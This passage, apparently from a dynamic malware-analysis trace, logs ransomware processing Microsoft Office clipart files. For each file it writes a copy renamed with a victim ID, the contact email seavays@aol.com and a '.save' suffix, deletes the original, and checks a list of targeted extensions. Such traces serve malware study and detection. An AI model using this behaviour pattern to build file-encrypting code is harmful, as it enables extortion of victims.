hTemplateFile=0x0) returned 0x374 [0210.318] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=10508) returned 1 [0210.318] CloseHandle (hObject=0x374) returned 1 [0210.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0210.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.318] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.318] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0210.319] GetLastError () returned 0x0 [0210.319] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x290c, lpOverlapped=0x0) returned 1 [0210.321] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2910, lpOverlapped=0x0) returned 1 [0210.322] ReadFile (in: hFile=0x374, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.322] WriteFile (in: hFile=0x378, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.322] SetEndOfFile (hFile=0x378) returned 1 [0210.322] CloseHandle (hObject=0x378) returned 1 [0210.322] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.322] SetEndOfFile (hFile=0x374) returned 1 [0210.323] CloseHandle (hObject=0x374) returned 1 [0210.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0210.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.324] lstrlenW (lpString=".doc") returned 4 [0210.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.324] lstrlenW (lpString=".docx") returned 5 [0210.324] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.324] lstrlenW (lpString=".pdf") returned 4 [0210.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.324] lstrlenW (lpString=".xls") returned 4 [0210.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.324] lstrlenW (lpString=".xlsx") returned 5 [0210.324] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.324] lstrlenW (lpString=".ppt") returned 4 [0210.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.324] lstrlenW (lpString=".zip") returned 4 [0210.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.324] lstrlenW (lpString=".rar") returned 4 [0210.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.324] lstrlenW (lpString=".bz2") returned 4 [0210.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString=".7z") returned 3 [0210.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString=".dbf") returned 4 [0210.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString=".1cd") returned 4 [0210.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString=".jpg") returned 4 [0210.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString=".doc") returned 4 [0210.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString=".docx") returned 5 [0210.325] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.325] lstrlenW (lpString=".pdf") returned 4 [0210.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString=".xls") returned 4 [0210.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.325] lstrlenW (lpString=".xlsx") returned 5 [0210.325] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.325] lstrlenW (lpString=".ppt") returned 4 [0210.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.325] lstrlenW (lpString=".zip") returned 4 [0210.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.325] lstrlenW (lpString=".rar") returned 4 [0210.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.325] lstrlenW (lpString=".bz2") returned 4 [0210.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.326] lstrlenW (lpString=".7z") returned 3 [0210.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.326] lstrlenW (lpString=".dbf") returned 4 [0210.326] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.326] lstrlenW (lpString=".1cd") returned 4 [0210.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0210.326] lstrlenW (lpString=".jpg") returned 4 [0210.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.326] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.326] lstrlenW (lpString="J0105336.WMF") returned 12 [0210.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0210.326] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=2900) returned 1 [0210.326] CloseHandle (hObject=0x374) returned 1 [0210.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0210.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.689] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.689] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0210.691] GetLastError () returned 0x0 [0210.691] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xb54, lpOverlapped=0x0) returned 1 [0210.692] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xb60, lpOverlapped=0x0) returned 1 [0210.693] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.693] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.693] SetEndOfFile (hFile=0x388) returned 1 [0210.693] CloseHandle (hObject=0x388) returned 1 [0210.693] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.694] SetEndOfFile (hFile=0x390) returned 1 [0210.695] CloseHandle (hObject=0x390) returned 1 [0210.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0210.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.696] lstrlenW (lpString=".doc") returned 4 [0210.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.696] lstrlenW (lpString=".docx") returned 5 [0210.696] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.696] lstrlenW (lpString=".pdf") returned 4 [0210.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.697] lstrlenW (lpString=".xls") returned 4 [0210.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.697] lstrlenW (lpString=".xlsx") returned 5 [0210.697] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.697] lstrlenW (lpString=".ppt") returned 4 [0210.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.697] lstrlenW (lpString=".zip") returned 4 [0210.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.697] lstrlenW (lpString=".rar") returned 4 [0210.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.697] lstrlenW (lpString=".bz2") returned 4 [0210.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.697] lstrlenW (lpString=".7z") returned 3 [0210.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.697] lstrlenW (lpString=".dbf") returned 4 [0210.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.697] lstrlenW (lpString=".1cd") returned 4 [0210.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.698] lstrlenW (lpString=".jpg") returned 4 [0210.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.698] lstrlenW (lpString=".doc") returned 4 [0210.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString=".docx") returned 5 [0210.698] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.698] lstrlenW (lpString=".pdf") returned 4 [0210.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString=".xls") returned 4 [0210.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.698] lstrlenW (lpString=".xlsx") returned 5 [0210.698] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.698] lstrlenW (lpString=".ppt") returned 4 [0210.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.698] lstrlenW (lpString=".zip") returned 4 [0210.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.698] lstrlenW (lpString=".rar") returned 4 [0210.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString=".bz2") returned 4 [0210.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.698] lstrlenW (lpString=".7z") returned 3 [0210.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.698] lstrlenW (lpString=".dbf") returned 4 [0210.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.699] lstrlenW (lpString=".1cd") returned 4 [0210.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0210.699] lstrlenW (lpString=".jpg") returned 4 [0210.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.699] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.699] lstrlenW (lpString="J0105390.WMF") returned 12 [0210.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.699] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=4944) returned 1 [0210.699] CloseHandle (hObject=0x390) returned 1 [0210.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0210.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.700] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.700] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0210.701] GetLastError () returned 0x0 [0210.701] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x1350, lpOverlapped=0x0) returned 1 [0210.702] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x1360, lpOverlapped=0x0) returned 1 [0210.703] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.704] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.704] SetEndOfFile (hFile=0x388) returned 1 [0210.704] CloseHandle (hObject=0x388) returned 1 [0210.704] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.704] SetEndOfFile (hFile=0x390) returned 1 [0210.705] CloseHandle (hObject=0x390) returned 1 [0210.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0210.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.706] lstrlenW (lpString=".doc") returned 4 [0210.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.706] lstrlenW (lpString=".docx") returned 5 [0210.706] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.706] lstrlenW (lpString=".pdf") returned 4 [0210.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.706] lstrlenW (lpString=".xls") returned 4 [0210.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.706] lstrlenW (lpString=".xlsx") returned 5 [0210.707] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.707] lstrlenW (lpString=".ppt") returned 4 [0210.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString=".zip") returned 4 [0210.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.707] lstrlenW (lpString=".rar") returned 4 [0210.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString=".bz2") returned 4 [0210.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString=".7z") returned 3 [0210.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString=".dbf") returned 4 [0210.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString=".1cd") returned 4 [0210.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString=".jpg") returned 4 [0210.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.707] lstrlenW (lpString=".doc") returned 4 [0210.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.707] lstrlenW (lpString=".docx") returned 5 [0210.707] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0210.708] lstrlenW (lpString=".pdf") returned 4 [0210.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.708] lstrlenW (lpString=".xls") returned 4 [0210.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.708] lstrlenW (lpString=".xlsx") returned 5 [0210.708] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0210.708] lstrlenW (lpString=".ppt") returned 4 [0210.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.708] lstrlenW (lpString=".zip") returned 4 [0210.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.708] lstrlenW (lpString=".rar") returned 4 [0210.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.708] lstrlenW (lpString=".bz2") returned 4 [0210.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.708] lstrlenW (lpString=".7z") returned 3 [0210.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.708] lstrlenW (lpString=".dbf") returned 4 [0210.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.709] lstrlenW (lpString=".1cd") returned 4 [0210.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF") returned 68 [0210.709] lstrlenW (lpString=".jpg") returned 4 [0210.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.709] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.709] lstrlenW (lpString="J0105396.WMF") returned 12 [0210.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.709] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=11012) returned 1 [0210.709] CloseHandle (hObject=0x390) returned 1 [0210.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0210.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 